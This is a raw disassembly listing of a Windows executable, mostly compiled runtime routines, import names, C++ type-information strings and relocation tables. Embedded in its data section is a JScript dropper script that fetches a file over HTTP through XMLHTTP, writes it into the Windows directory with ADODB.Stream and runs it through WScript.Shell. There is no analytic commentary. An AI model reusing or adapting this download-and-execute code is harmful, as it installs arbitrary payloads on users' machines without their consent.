		jbe	short loc_41BEC1

loc_41BEB8:				; CODE XREF: sub_41BE10+98j
					; sub_41BE10+9Ej
		dec	esi
		sub	eax, [esp+0Ch+arg_8]
		sbb	edx, [esp+0Ch+arg_C]

loc_41BEC1:				; CODE XREF: sub_41BE10+A0j
					; sub_41BE10+A6j
		xor	ebx, ebx

loc_41BEC3:				; CODE XREF: sub_41BE10+6Aj
		sub	eax, [esp+0Ch+arg_0]
		sbb	edx, [esp+0Ch+arg_4]
		dec	ebp
		jns	short loc_41BED5
		neg	edx
		neg	eax
		sbb	edx, 0

loc_41BED5:				; CODE XREF: sub_41BE10+BCj
		mov	ecx, edx
		mov	edx, ebx
		mov	ebx, ecx
		mov	ecx, eax
		mov	eax, esi
		dec	edi
		jnz	short loc_41BEE9
		neg	edx
		neg	eax
		sbb	edx, 0

loc_41BEE9:				; CODE XREF: sub_41BE10+D0j
		pop	ebp
		pop	esi
		pop	edi
		retn	10h
sub_41BE10	endp

; ---------------------------------------------------------------------------
		db 0CCh

; =============== S U B	R O U T	I N E =======================================



sub_41BEF0	proc near		; CODE XREF: .data:0041ADACp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_C]
		or	ecx, eax
		mov	ecx, [esp+arg_8]
		jnz	short loc_41BF09
		mov	eax, [esp+arg_0]
		mul	ecx
		retn	10h
; ---------------------------------------------------------------------------

loc_41BF09:				; CODE XREF: sub_41BEF0+Ej
		push	ebx
		mul	ecx
		mov	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	[esp+4+arg_C]
		add	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	ecx
		add	edx, ebx
		pop	ebx
		retn	10h
sub_41BEF0	endp

; ---------------------------------------------------------------------------
		dd 3 dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_41BF30	proc near		; CODE XREF: .data:0041AE8Cp
		cmp	cl, 40h
		jnb	short loc_41BF4A
		cmp	cl, 20h
		jnb	short loc_41BF40
		shld	edx, eax, cl
		shl	eax, cl
		retn
; ---------------------------------------------------------------------------

loc_41BF40:				; CODE XREF: sub_41BF30+8j
		mov	edx, eax
		xor	eax, eax
		and	cl, 1Fh
		shl	edx, cl
		retn
; ---------------------------------------------------------------------------

loc_41BF4A:				; CODE XREF: sub_41BF30+3j
		xor	eax, eax
		xor	edx, edx
		retn
sub_41BF30	endp

; ---------------------------------------------------------------------------
		db 0CCh

; =============== S U B	R O U T	I N E =======================================



sub_41BF50	proc near		; CODE XREF: .data:0041AE5Ep
		cmp	cl, 40h
		jnb	short loc_41BF6B
		cmp	cl, 20h
		jnb	short loc_41BF60
		shrd	eax, edx, cl
		sar	edx, cl
		retn
; ---------------------------------------------------------------------------

loc_41BF60:				; CODE XREF: sub_41BF50+8j
		mov	eax, edx
		sar	edx, 1Fh
		and	cl, 1Fh
		sar	eax, cl
		retn
; ---------------------------------------------------------------------------

loc_41BF6B:				; CODE XREF: sub_41BF50+3j
		sar	edx, 1Fh
		mov	eax, edx
		retn
sub_41BF50	endp

; ---------------------------------------------------------------------------
		db 3 dup(0CCh)
		dd 3 dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_41BF80	proc near		; CODE XREF: sub_41B903+35p

arg_0		= byte ptr  4

		cmp	eax, 1000h
		jnb	short loc_41BF95
		neg	eax
		add	eax, esp
		add	eax, 4
		test	[eax], eax
		xchg	eax, esp
		mov	eax, [eax]
		push	eax
		retn
; ---------------------------------------------------------------------------

loc_41BF95:				; CODE XREF: sub_41BF80+5j
		push	ecx
		lea	ecx, [esp+4+arg_0]

loc_41BF9A:				; CODE XREF: sub_41BF80+2Cj
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax
		cmp	eax, 1000h
		jnb	short loc_41BF9A
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_41BF80	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 10h
		dd 8 dup(0)
		dd 313Ch, 314Ah, 3158h,	3166h, 3172h, 317Eh, 318Ch, 31A0h
		dd 31B0h, 31C2h, 31CEh,	31E4h, 31F0h, 3206h, 3216h, 3226h
		dd 0
		dd 3246h, 0
		dd 3270h, 325Eh, 0
		dd 6425h, 41h, 6C6C6163h, 6B636162h, 6425h, 6F727265h
		dd 72h,	6B6Fh, 0
		dd 1, 2, 3 dup(1), 0
		dd 30E4h, 2 dup(0)
		dd 3238h, 3000h, 3128h,	2 dup(0)
		dd 3252h, 3044h, 3130h,	2 dup(0)
		dd 3282h, 304Ch, 5 dup(0)
		dd 313Ch, 314Ah, 3158h,	3166h, 3172h, 317Eh, 318Ch, 31A0h
		dd 31B0h, 31C2h, 31CEh,	31E4h, 31F0h, 3206h, 3216h, 3226h
		dd 0
		dd 3246h, 0
		dd 3270h, 325Eh, 0
		dd 6C4701EEh, 6C61626Fh, 6F6C6C41h, 1FD0063h, 626F6C47h
		dd 69536C61h, 657Ah, 6C4701F5h,	6C61626Fh, 65657246h, 3B60000h
		dd 7274736Ch, 41797063h, 3B90000h, 7274736Ch, 6E797063h
		dd 0EF0041h, 65657246h,	7262694Ch, 797261h, 65470177h
		dd 646F4D74h, 48656C75h, 6C646E61h, 4165h, 6F4C0248h, 694C6461h
		dd 72617262h, 4179h, 65470198h,	6F725074h, 64644163h, 73736572h
		dd 3AD0000h, 7274736Ch,	41746163h, 26B0000h, 746C754Dh
		dd 74794269h, 576F5465h, 43656469h, 726168h, 736C03BCh
		dd 656C7274h, 416Eh, 69570387h,	68436564h, 6F547261h, 746C754Dh
		dd 74794269h, 1690065h,	4C746547h, 45747361h, 726F7272h
		dd 3730000h, 74726956h,	416C6175h, 636F6C6Ch, 3790000h
		dd 74726956h, 506C6175h, 65746F72h, 7463h, 4E52454Bh, 32334C45h
		dd 6C6C642Eh, 2D60000h,	72707377h, 66746E69h, 53550041h
		dd 32335245h, 6C6C642Eh, 80000h, 49534C43h, 6F724644h
		dd 7274536Dh, 676E69h, 74530134h, 676E6972h, 6D6F7246h
		dd 44495547h, 6C6F0032h, 2E323365h, 6C6C64h, 2 dup(0)
		dd 40C0EE1Ah, 0
		dd 32FEh, 1, 2 dup(7), 32B8h, 32D4h, 32F0h, 1000h, 15E2h
		dd 102Fh, 10B6h, 1566h,	1717h, 10D5h, 3309h, 330Fh, 3314h
		dd 3319h, 331Eh, 3322h,	332Ah, 10000h, 30002h, 50004h
		dd 79530006h, 6D657473h, 6C6C642Eh, 6C6C4100h, 4300636Fh
		dd 6C6C61h, 79706F43h, 65724600h, 65470065h, 6E490074h
		dd 4F343674h, 74530070h, 65726Fh, 34h dup(0)
		dd 1000h, 0E0h,	300E3005h, 30363023h, 30823040h, 30AD3091h
		dd 30C430BBh, 30E030D0h, 30F430EEh, 31463105h, 3154314Ch
		dd 31B43159h, 31CD31BAh, 31EB31D5h, 320431F3h, 3228320Ah
		dd 32393230h, 32503248h, 3263325Dh, 32753270h, 3297328Eh
		dd 32CB32BEh, 349F32D2h, 34C334BCh, 350C3501h, 3536352Fh
		dd 35543542h, 356B355Bh, 357F3574h, 35C335A9h, 35F435ECh
		dd 367635FEh, 36F936EAh, 3726370Fh, 377B3731h, 3A2438E4h
		dd 3A763A6Ch, 3B7A3A89h, 3C333C2Ch, 3D013C91h, 3EA13E3Ah
		dd 3EC23EB2h, 3EE73EE0h, 3F0D3F09h, 3F153F11h, 3F1D3F19h
		dd 3F253F21h, 3F2D3F29h, 3F353F31h, 3F3D3F39h, 3F453F41h
		dd 3F4D3F49h, 3F553F51h, 3F5D3F59h, 3FDE3F61h, 3FE6h, 2000h
		dd 0CCh, 30B13056h, 30DB30D0h, 30F330E2h, 310F3102h, 314A3116h
		dd 321031A4h, 32243217h, 3236322Fh, 32473242h, 325E3257h
		dd 32763267h, 32873280h, 32BD329Bh, 32E032C4h, 332E3308h
		dd 334D3347h, 3367335Fh, 3390338Ah, 33A33395h, 33AE33A9h
		dd 33C333B6h, 33D633C8h, 33E133DCh, 33F033E7h, 340533FFh
		dd 341F340Bh, 34533449h, 34913489h, 34A33497h, 34C034BBh
		dd 34DF34D9h, 352134E6h, 35463535h, 35663552h, 35803574h
		dd 359C3587h, 35DC35A2h, 35EB35E4h, 35F835EFh, 36073601h
		dd 36233614h, 36463628h, 36C2365Eh, 37DB36D7h, 37EB37E2h
		dd 37F837F1h, 380237FDh, 380C3807h, 38183812h, 11Eh dup(0)
		dd 1001272Ch, 1001CE1Ah, 1001CE3Ch, 1001CE52h, 1001CDC1h
		dd 1001CDE9h, 1001CE04h, 1001CD90h, 1001CDB0h, 0
		dd 1001CE30h, 2	dup(0)
		dd 10010EEDh, 10015C49h, 10017910h, 100137A6h, 2 dup(0)
		dd 10015CF2h, 2	dup(0)
		dd 100137B9h, 4	dup(0)
		dd 10001000h, 1001E160h, 0
a_?avcatlexce_0	db '.?AVCAtlException@ATL@@',0
		dd 1001D888h, 1001D874h, 1001D85Ch, 1001D848h, 1001D828h
		dd 1001D810h, 1001D7E4h, 1001D7C8h, 1001D7B4h, 0
		dd 0FFFFFFFFh, 1001D4CCh, 10023EA4h, 1,	4 dup(0)
		dd 1001E160h, 0
a_?avexceptio_0	db '.?AVexception@@',0
		dd 1001E160h, 0
a_?avbad_cast_0	db '.?AVbad_cast@@',0
		align 4
		dd 0BB40E64Eh, 19930520h, 3 dup(0)
		dd 1001E160h, 0
a_?avtype_inf_0	db '.?AVtype_info@@',0
		dd 10013758h, 0
		dd 10014575h, 100128DAh, 10013758h, 0FFFFFFFFh,	0
		dd 1, 0
		dd 1, 3	dup(0)
		dd 1, 0
		dd 1, 3	dup(0)
		dd 1, 0
		dd 1, 0
		dd 1, 3	dup(0)
		dd 1, 3	dup(0)
		dd 1, 0
		dd 1, 0
		dd 1, 3	dup(0)
		dd 1, 0
		dd 1, 0
		dd 1, 22h dup(0)
		dd 10h,	0
		dd 43h,	0
		dd 1, 8	dup(0)
		dd 2 dup(1), 3 dup(0)
		dd 10023B5Ch, 3	dup(0)
		dd 1001E8E0h, 10023AA0h, 0
		dd 10023280h, 0
		dd 1, 8	dup(0)
		dd 43h,	21h dup(0)
		dd 43h,	21h dup(0)
		dd 1001E7A0h, 0
		dd 1001888Bh, 1001E794h, 10023278h, 1001888Bh, 1001E788h
		dd 10023278h, 1001866Fh, 1001E77Ch, 10023278h, 10018430h
		dd 1001E770h, 10023278h, 1001818Ah, 1001E768h, 10023278h
		dd 100180CCh, 1, 16h, 2	dup(2),	3, 2, 4, 18h, 5, 0Dh, 6
		dd 9, 7, 0Ch, 8, 0Ch, 9, 0Ch, 0Ah, 7, 0Bh, 8, 0Ch, 16h
		dd 0Dh,	16h, 0Fh, 2, 10h, 0Dh, 11h, 2 dup(12h),	2, 21h
		dd 0Dh,	35h, 2,	41h, 0Dh, 43h, 2, 50h, 11h, 52h, 0Dh, 53h
		dd 0Dh,	57h, 16h, 59h, 0Bh, 6Ch, 0Dh, 6Dh, 20h,	70h, 1Ch
		dd 72h,	9, 6, 16h, 80h,	0Ah, 81h, 0Ah, 82h, 9, 83h, 16h
		dd 84h,	0Dh, 91h, 29h, 9Eh, 0Dh, 0A1h, 2, 0A4h,	0Bh, 0A7h
		dd 0Dh,	0B7h, 11h, 0CEh, 2, 0D7h, 0Bh, 718h, 0Ch, 1001E8E0h
		dd 1001EAE2h, 10024D60h, 0
		dd 10024D60h, 101h, 2 dup(0)
		dd 1000h, 4 dup(0)
		dd 2, 1, 6 dup(0)
		dd 2 dup(2), 8Dh dup(0)
		dd 0FFFFFFFFh, 0A80h, 8	dup(0)
		dd 0C0000005h, 0Bh, 0
		dd 0C000001Dh, 4, 0
		dd 0C0000096h, 4, 0
		dd 0C000008Dh, 8, 0
		dd 0C000008Eh, 8, 0
		dd 0C000008Fh, 8, 0
		dd 0C0000090h, 8, 0
		dd 0C0000091h, 8, 0
		dd 0C0000092h, 8, 0
		dd 0C0000093h, 8, 0
		dd 3, 7, 78h, 0Ah, 2, 1001F0F0h, 8, 1001F0C4h, 9, 1001F098h
		dd 0Ah,	1001F000h, 10h,	1001EFD4h, 11h,	1001EFA4h, 12h
		dd 1001EF80h, 13h, 1001EF54h, 18h, 1001EF1Ch, 19h, 1001EEF4h
		dd 1Ah,	1001EEBCh, 1Bh,	1001EE84h, 1Ch,	1001EE5Ch, 1Dh
		dd 1001EDB8h, 78h, 1001EDA8h, 79h, 1001ED98h, 7Ah, 1001ED88h
		dd 0FCh, 1001ED84h, 0FFh, 1001ED74h, 2 dup(0)
		dd 8040201h, 0
		dd 3A4h, 82798260h, 21h, 0
		dd 0DFA6h, 0
		dd 0A5A1h, 0
		dd 0FCE09F81h, 0
		dd 0FC807E40h, 0
		dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE40h, 0
		dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE41h, 0
		dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
		dd 0FE81h, 0
		dd 0FEA17E40h, 0
		dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
		dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
		dd 1, 10023AA0h, 1001F324h, 1001F320h, 1001F31Ch, 1001F318h
		dd 1001F314h, 1001F310h, 1001F30Ch, 1001F304h, 1001F2FCh
		dd 1001F2F4h, 1001F2E8h, 1001F2DCh, 1001F2D4h, 1001F2C8h
		dd 1001F2C4h, 1001F2C0h, 1001F2BCh, 1001F2B8h, 1001F2B4h
		dd 1001F2B0h, 1001F2ACh, 1001F2A8h, 1001F2A4h, 1001F2A0h
		dd 1001F29Ch, 1001F298h, 1001F290h, 1001F284h, 1001F27Ch
		dd 1001F274h, 1001F2B4h, 1001F26Ch, 1001F264h, 1001F25Ch
		dd 1001F250h, 1001F248h, 1001F23Ch, 1001F230h, 1001F22Ch
		dd 1001F228h, 1001F21Ch, 1001F208h, 1001F1FCh, 409h, 1
		dd 0
		dd 2Eh,	10023B58h, 9 dup(1002475Ch), 2 dup(7F7F7F7Fh)
		dd 10023B5Ch, 1, 2Eh, 1, 0
		dd 7080h, 1, 0FFFFF1F0h, 0
		dd 545350h, 0Fh	dup(0)
		dd 544450h, 0Fh	dup(0)
		dd 10023BB0h, 10023BF0h, 0FFFFFFFFh, 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd 0FFFFFFFFh, 1Eh, 3Bh, 5Ah, 78h, 97h,	0B5h, 0D4h, 0F3h
		dd 111h, 130h, 14Eh, 16Dh, 0FFFFFFFFh, 1Eh, 3Ah, 59h, 77h
		dd 96h,	0B4h, 0D3h, 0F2h, 110h,	12Fh, 14Dh, 16Ch, 2 dup(0)
		dd 1, 1001E160h, 0
a_?av?_iosb@h_0	db '.?AV?$_Iosb@H@std@@',0
		dd 1001E160h, 0
a_?avios_base_0	db '.?AVios_base@std@@',0
		align 4
		dd 1001E160h, 0
a_?avruntime__0	db '.?AVruntime_error@std@@',0
		dd 1001E160h, 0
a_?avfailure@_0	db '.?AVfailure@ios_base@std@@',0
		align 10h
		dd 0FFFFFFFFh, 1001E160h, 0
a_?avlogic_er_0	db '.?AVlogic_error@std@@',0
		align 4
		dd 1001E160h, 0
a_?avlength_e_0	db '.?AVlength_error@std@@',0
		align 4
		dd 1001E160h, 0
a_?avout_of_r_0	db '.?AVout_of_range@std@@',0
		align 4
		dd 10020338h, 2	dup(10020334h),	10020330h, 1002032Ch, 2	dup(10020328h)
		dd 10020324h, 10020320h, 1002031Ch, 10020318h, 10020314h
		dd 10020310h, 1002030Ch, 0
		dd 1001E160h, 0
a_?avfacet@lo_0	db '.?AVfacet@locale@std@@',0
		align 10h
		dd 1001E160h, 0
a_?av_locimp@_0	db '.?AV_Locimp@locale@std@@',0
		align 8
		dw 0Ah
		unicode	0, <>,0
		align 10h
aCopyrightC19_0	db 'Copyright (c) 1992-2001 by P.J. Plauger, licensed by Dinkumware, '
		db 'Ltd. ALL RIGHTS RESERVED.',0
		align 4
		dd 460h	dup(0)
		dd 10000h, 17h,	80000018h, 3 dup(0)
		dd 10000h, 4, 80000030h, 3 dup(0)
		dd 10000h, 0
		dd 48h,	27060h,	407h, 4	dup(0)
aVarXmlhttpNe_0	db 'var xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");',0Dh,0Ah
		db 'var BinaryStream = new ActiveXObject("ADODB.Stream");',0Dh,0Ah
		db 'var WShell = new ActiveXObject("WScript.Shell");',0Dh,0Ah
		db 0Dh,0Ah
		db 'function SaveBinaryData(filename, data) {',0Dh,0Ah
		db 9,'BinaryStream.Type = 1; ',0Dh,0Ah
		db 9,'BinaryStream.Open();',0Dh,0Ah
		db 9,'BinaryStream.Write(data);',0Dh,0Ah
		db 9,'BinaryStream.SaveToFile(filename, 2);',0Dh,0Ah
		db 9,'BinaryStream.Close();',0Dh,0Ah
		db '}',0Dh,0Ah
		db 0Dh,0Ah
		db 'function urlGet(url) {',0Dh,0Ah
		db 9,'var result = false;',0Dh,0Ah
		db 9,'try {',0Dh,0Ah
		db 9,9,'xmlhttp.open(',27h,'GET',27h,', url, false /* asynchronous */);',0Dh,0Ah
		db 9,9,'xmlhttp.send();',0Dh,0Ah
		db 9,9,'if (xmlhttp.status == 200) result = true;',0Dh,0Ah
		db 9,'} catch (e) { ; }',0Dh,0Ah
		db 9,'return result;',0Dh,0Ah
		db '}',0Dh,0Ah
		db 0Dh,0Ah
		db 'function urlSaveFile(url, path, filename) {',0Dh,0Ah
		db 9,'var m = url.match(/([^\/]*?)($|\?)/);',0Dh,0Ah
		db 9,'if (!filename) filename = (m && m[1]) ? m[1] : "file";',0Dh,0Ah
		db 9,'CW.Write(url);',0Dh,0Ah
		db 9,'if (urlGet(url)) {',0Dh,0Ah
		db 9,'    var fname = path + ',27h,'\\',27h,' + filename;',0Dh,0Ah
		db 9,9,'SaveBinaryData(fname, xmlhttp.responseBody);',0Dh,0Ah
		db 9,9,'return fname;',0Dh,0Ah
		db 9,'}',0Dh,0Ah
		db 9,'return false;',0Dh,0Ah
		db '}',0Dh,0Ah
		db 0Dh,0Ah
		db 'function rAdd() {',0Dh,0Ah
		db 9,'var fname = urlSaveFile(urlo, WShell.ExpandEnvironmentStrings("%'
		db 'windir%"));',0Dh,0Ah
		db 9,'if (fname) WShell.Exec(fname);',0Dh,0Ah
		db 9,'return fname;',0Dh,0Ah
		db '}',0Dh,0Ah
		db 0Dh,0Ah
		db 0Dh,0Ah,0
		dd 2E6h	dup(0)
		dd 1000h, 74h, 3024300Ah, 304C3040h, 30633058h,	30A7308Dh
		dd 30CF30B7h, 31503113h, 31F631DFh, 34E1332Fh, 34F834EBh
		dd 350F3502h, 35263519h, 353D3530h, 35543547h, 356B355Eh
		dd 35823575h, 3599358Ch, 35AC35A3h, 36B635B6h, 37B8378Bh
		dd 385637DEh, 38D438B0h, 390E38F9h, 39883965h, 3A9D39FDh
		dd 3D8A3B46h, 3E2A3DEAh, 3E9Ah,	2000h, 50h, 30363024h
		dd 32FB30B6h, 34493331h, 34AA3490h, 360034C5h, 368E3620h
		dd 39E837DDh, 3A2B3A26h, 3AED3A5Dh, 3B2B3B11h, 3B513B32h
		dd 3B863B58h, 3C0A3BADh, 3C6B3C5Ah, 3C843C7Fh, 3C9C3C91h
		dd 3CB73CA6h, 3CC1h, 3000h, 54h, 38BB3040h, 38C338BFh
		dd 38CB38C7h, 38D338CFh, 38DB38D7h, 38E338DFh, 38EB38E7h
		dd 38F338EFh, 38FB38F7h, 390338FFh, 390B3907h, 3913390Fh
		dd 391B3917h, 3923391Fh, 392B3927h, 3933392Fh, 393B3937h
		dd 3E7639D6h, 3EBFh, 4000h, 0Ch, 312F30E6h, 5000h, 4Ch
		dd 38563004h, 3B643A76h, 3C163B70h, 3C4E3C28h, 3C873C7Ah
		dd 3C9D3C96h, 3CC13CAFh, 3CE63CD3h, 3D133D07h, 3D323D25h
		dd 3D563D3Ch, 3D8A3D72h, 3E323DEAh, 3E8C3E3Eh, 3F443F2Dh
		dd 3F613F4Eh, 3F86h, 6000h, 0BCh, 318F3188h, 31D53199h
		dd 31EE31DDh, 32B63240h, 32D432CFh, 32E332DAh, 3391331Ch
		dd 340F33E7h, 342D3418h, 34573440h, 34BD3493h, 3558352Ah
		dd 36013592h, 365F3646h, 366D3667h, 3684367Eh, 369D3696h
		dd 36BD36AAh, 372C36CAh, 37453736h, 375E374Fh, 3788376Bh
		dd 37A537A0h, 37B437ABh, 387C37E4h, 38A0388Eh, 38C238AEh
		dd 38DE38CCh, 38FE38EEh, 39323926h, 39693942h, 398F397Eh
		dd 39AB399Bh, 3A1439CFh, 3A5A3A54h, 3A883A7Fh, 3AD63A8Fh
		dd 3BA53B30h, 3C0B3C06h, 3CF63CD2h, 3D393D30h, 3E263DB5h
		dd 3F333EA6h, 3FC73FB6h, 3FE53FD8h, 7000h, 60h,	3034301Ah
		dd 30513044h, 310E30FCh, 31A63136h, 345C3246h, 3494346Eh
		dd 34A2349Ah, 354E3544h, 35753558h, 38F4357Fh, 3974390Ch
		dd 3982397Ah, 39D439A6h, 3A113A05h, 3A283A1Ch, 3B563AB0h
		dd 3B9F3B6Fh, 3C603C13h, 3CC33C6Ch, 3DC73D05h, 3EC63DCDh
		dd 3F23h, 8000h, 40h, 30EB3046h, 312B30F0h, 328931F6h
		dd 34493318h, 350734ECh, 35C4350Fh, 361635EAh, 36893640h
		dd 37463737h, 37B6376Ch, 384E37D3h, 3BA83B88h, 3BFC3BE6h
		dd 3CE9h, 9000h, 2Ch, 347131FBh, 35DE34E7h, 37EC3609h
		dd 380F3807h, 389C384Fh, 38BF38B7h, 3DE43B46h, 3DF23DEAh
		dd 3E5Eh, 0A000h, 28h, 322430C6h, 3286323Ch, 32DD32B0h
		dd 34D13336h, 36F63586h, 3D1638A0h, 3D863D40h, 3E9C3E86h
		dd 0B000h, 48h,	31433046h, 3157314Ch, 333C32CFh, 35833566h
		dd 37513745h, 391B3836h, 3BF83BDDh, 3CA83C18h, 3CE63CC8h
		dd 3D153D0Dh, 3D653D58h, 3DE53D7Ch, 3DF73DEEh, 3EA63E16h
		dd 3EE73EE2h, 3FBC3F98h, 0C000h, 58h, 303C301Ch, 331132F6h
		dd 33763358h, 33A5339Dh, 33F533E8h, 3476340Ch, 35423506h
		dd 35C83547h, 370C35ECh, 3774374Dh, 37B9377Dh, 385E37F9h
		dd 386D3867h, 3AA53A0Ah, 3B733AC3h, 3BF83BD8h, 3C9E3C4Ch
		dd 3D783D5Dh, 3E313E16h, 3FD63EA6h, 0D000h, 60h, 30E530A6h
		dd 316B311Eh, 32E63226h, 33663300h, 33C13391h, 341A33F1h
		dd 34B63463h, 364E3516h, 385237F0h, 386B385Dh, 38E538A4h
		dd 38FF38ECh, 396E3903h, 39C539ACh, 3AA53A62h, 3B863B4Eh
		dd 3BCB3B9Ch, 3CE53C43h, 3D6E3D3Eh, 3E303DF1h, 3F363EC3h
		dd 3FAAh, 0E000h, 44h, 30B6309Bh, 315230CFh, 316E315Dh
		dd 32D73179h, 331032E2h, 367A331Bh, 39833854h, 39D039A3h
		dd 3A843A24h, 3B323ABAh, 3BD43BB6h, 3D223CEAh, 3DCB3D82h
		dd 3EE63EACh, 3F41h, 0F000h, 78h, 30ED3058h, 312C310Dh
		dd 319C315Ch, 31C031B5h, 31CF31C9h, 31DC31D5h, 31E831E3h
		dd 31F731EFh, 320431FDh, 3212320Ch, 323D3219h, 325A3248h
		dd 32973290h, 32C032BCh, 32C832C4h, 33423337h, 33BE338Eh
		dd 34793456h, 35C5352Ah, 369335E3h, 371836F8h, 37BE376Ch
		dd 38F63866h, 3A593A44h, 3D643A9Eh, 3DF63DDDh, 3FD43FCAh
		dd 3FF43FE4h, 10000h, 0E4h, 3030300Dh, 30703042h, 317130B7h
		dd 31B73199h, 32103200h, 327B3244h, 32A2328Ah, 32D232CBh
		dd 334932EBh, 346F33F2h, 34C934B1h, 357534CEh, 374A372Fh
		dd 37D13790h, 3854383Ah, 3875385Dh, 38E33882h, 39113904h
		dd 396F3923h, 39823975h, 39ED39B7h, 3A613A5Bh, 3AB83AB2h
		dd 3B033AC8h, 3B133B09h, 3B803B68h, 3B8F3B87h, 3B983B94h
		dd 3BC53B9Ch, 3C093BEBh, 3C143C10h, 3C1C3C18h, 3C243C20h
		dd 3C2C3C28h, 3C7C3C76h, 3C843C80h, 3CEE3C88h, 3D143CF9h
		dd 3D203D1Bh, 3D283D24h, 3D733D49h, 3DAC3DA5h, 3DB43DB0h
		dd 3DBC3DB8h, 3DC43DC0h, 3E123DC8h, 3E1C3E18h, 3E243E20h
		dd 3E7C3E70h, 3EB23E83h, 3ECB3EC5h, 3EDC3ED0h, 3EFB3EE4h
		dd 3F0E3F09h, 3F18h, 11000h, 9Ch, 30DA30CCh, 311630E3h
		dd 312E3128h, 31853172h, 32FE31A0h, 35F833C3h, 36173610h
		dd 3624361Fh, 362C3628h, 367B3655h, 36A03699h, 36A836A4h
		dd 36B036ACh, 36B836B4h, 370636BCh, 3710370Ch, 37183714h
		dd 3789377Eh, 37AB37A4h, 37B437B0h, 37D937B8h, 38353803h
		dd 3840383Ch, 38483844h, 3850384Ch, 38583854h, 38A838A2h
		dd 38B038ACh, 398938B4h, 39A2399Ah, 3A1E39E0h, 3A443A23h
		dd 3A753A5Fh, 3CEE3CA2h, 3DF73DB2h, 3F593EF8h, 3FEDh, 12000h
		dd 90h,	30E330C0h, 310F30EEh, 3195315Eh, 332432CAh, 33703333h
		dd 33CE33B6h, 33FA33E2h, 346C3406h, 3485347Dh, 34A0348Eh
		dd 34BA34AEh, 34EB34E6h, 352234F5h, 3545353Dh, 3583354Bh
		dd 359A3589h, 35E535CBh, 366F35FCh, 36BC36ADh, 36E136D8h
		dd 37493733h, 375D3755h, 37713765h, 3787377Fh, 37A23798h
		dd 37DA37AAh, 37F037E4h, 381537FAh, 385F381Eh, 389B388Fh
		dd 38DD38C5h, 391C3912h, 3A7A39ACh, 3CA23ADEh, 13000h
		dd 11Ch, 31F031E8h, 320231FCh, 32233213h, 32313229h, 32583252h
		dd 32703263h, 32933287h, 33293301h, 3394338Dh, 33ED33D9h
		dd 340133FBh, 3420341Ah, 3431342Ch, 343F3439h, 344C3446h
		dd 34593453h, 34673461h, 3473346Eh, 347D3478h, 34883482h
		dd 3491348Ch, 349C3496h, 34C334A4h, 34D434C9h, 355134DDh
		dd 35623558h, 3598358Ch, 35C1359Eh, 35E135C8h, 35F935F3h
		dd 36113602h, 36C936A9h, 379A3784h, 37AD37A7h, 37BB37B2h
		dd 37C837C1h, 37F337D1h, 380937FAh, 38263820h, 383F3833h
		dd 384F3846h, 387D3856h, 38933889h, 38A5389Bh, 38B938ABh
		dd 38C638BFh, 38DA38D3h, 38E838E0h, 38F938EEh, 3B403901h
		dd 3B543B4Eh, 3B733B6Eh, 3B8B3B82h, 3BA33B98h, 3BC83BB5h
		dd 3BD93BD3h, 3BE43BDEh, 3C0E3BF1h, 3C1F3C14h, 3C2C3C24h
		dd 3C3C3C32h, 3C573C42h, 3C643C5Eh, 3C783C72h, 3C833C7Dh
		dd 3C9D3C91h, 3CCC3CBBh
		dd 3CE33CD2h, 3D46h, 14000h, 0FCh, 30E730E1h, 31733122h
		dd 33B933AEh, 33D433C1h, 33F533EFh, 340533FEh, 34493419h
		dd 3460345Bh, 348E3484h, 34B53495h, 34DB34D0h, 34E834E2h
		dd 34FB34F0h, 350A3502h, 35213510h, 35313526h, 35503536h
		dd 35A33598h, 35F135EBh, 36A83693h, 373836C0h, 374C373Eh
		dd 377F3759h, 379D3796h, 37BA37A3h, 37D237C1h, 37E737D9h
		dd 380F37FBh, 38533821h, 386D3863h, 38833879h, 3896388Bh
		dd 38DD38C1h, 390B38FEh, 39AA3938h, 3A3239C6h, 3AAA3A77h
		dd 3AC23AB0h, 3B033AE0h, 3B593B30h, 3BD23B92h, 3BE13BDAh
		dd 3BFF3BF0h, 3C1D3C0Eh, 3D2A3C34h, 3D813D61h, 3DD03D97h
		dd 3DFA3DEAh, 3E063DFFh, 3E183E0Eh, 3E283E22h, 3E603E52h
		dd 3E763E6Eh, 3E873E81h, 3EFA3E98h, 3F3D3F02h, 3F5D3F58h
		dd 3F853F69h, 3FA43F8Eh, 3FCC3FBCh, 3FF6h, 15000h, 0D4h
		dd 3041302Ch, 307A306Ch, 30A6308Ch, 30F630C1h, 31073102h
		dd 31463112h, 31693161h, 318E3172h, 31D031A2h, 31ED31E8h
		dd 31FA31F3h, 320F31FFh, 322B3215h, 32523243h, 32853266h
		dd 32E832AFh, 3348331Ah, 33DE3350h, 342B3417h, 34553439h
		dd 34DC34D4h, 34FC34F0h, 350C3504h, 351C3514h, 352C3524h
		dd 353C3534h, 354C3544h, 355C3554h, 35743565h, 365D3631h
		dd 386D3822h, 38B23896h, 3914390Ch, 39783966h, 3A1B39DFh
		dd 3AE33ABAh, 3B423B2Dh, 3BAF3BA1h, 3C4A3BBDh, 3C753C64h
		dd 3C8E3C80h, 3CA33C9Ch, 3CBB3CB2h, 3CE83CCCh, 3D0B3CF9h
		dd 3D303D14h, 3D5D3D53h, 3D823D66h, 3DAC3DA5h, 3E753E65h
		dd 3FBE3F47h, 16000h, 0B8h, 30DA3067h, 310A30E7h, 31303122h
		dd 3226313Eh, 33C23297h, 34473439h, 348F3459h, 352E3499h
		dd 35503538h, 35863578h, 370B3594h, 3744372Fh, 378C3786h
